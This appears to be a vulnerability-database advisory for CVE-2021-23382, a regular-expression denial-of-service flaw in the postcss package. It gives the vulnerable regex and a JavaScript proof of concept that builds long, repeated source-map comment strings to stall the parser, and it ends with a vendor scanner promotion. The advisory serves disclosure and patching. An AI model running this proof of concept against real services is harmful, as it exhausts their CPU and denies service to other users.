🛡️ CVE-2021-23382 — postcss

⚪ Unknown ✅ No Known Exploit CWE-400 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Regular Expression Denial of Service in postcss

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

```regex

\/\*\s* sourceMappingURL=(.*)

```

PoC

```js

var postcss = require("postcss")

function build_attack(n) {

var ret = "a{}"

for (var i = 0; i < n; i++) {

ret += "/*# sourceMappingURL="

}

return ret + "!";

}

```

```js

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {

if (i % 1000 == 0) {

var time = Date.now();

var attack_str = build_attack(i) try {

postcss.parse(attack_str) var time_cost = Date.now() - time;

console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");

} catch (e) {

var time_cost = Date.now() - time;

console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");

}

}

}

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability low.

Weakness class

CVE-2021-23382 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

CVE-2021-23382 is recorded against 1 package.

  • postcss

Timeline and source

Published on 7 January 2022 and last revised on 14 January 2025. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
snyk.io (Web)
snyk.io (Web)

CVE-2021-23382 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CWE CWE-400
Public Exploit ✅ No
Source OSV
Published 2022-01-07
Updated 2026-08-12
Modified 2025-01-14
Fix URL N/A

Affected Packages

Software From version Fixed in
postcss

Free Vulnerability Check

Is your site affected by CVE-2021-23382?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2021-23382 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.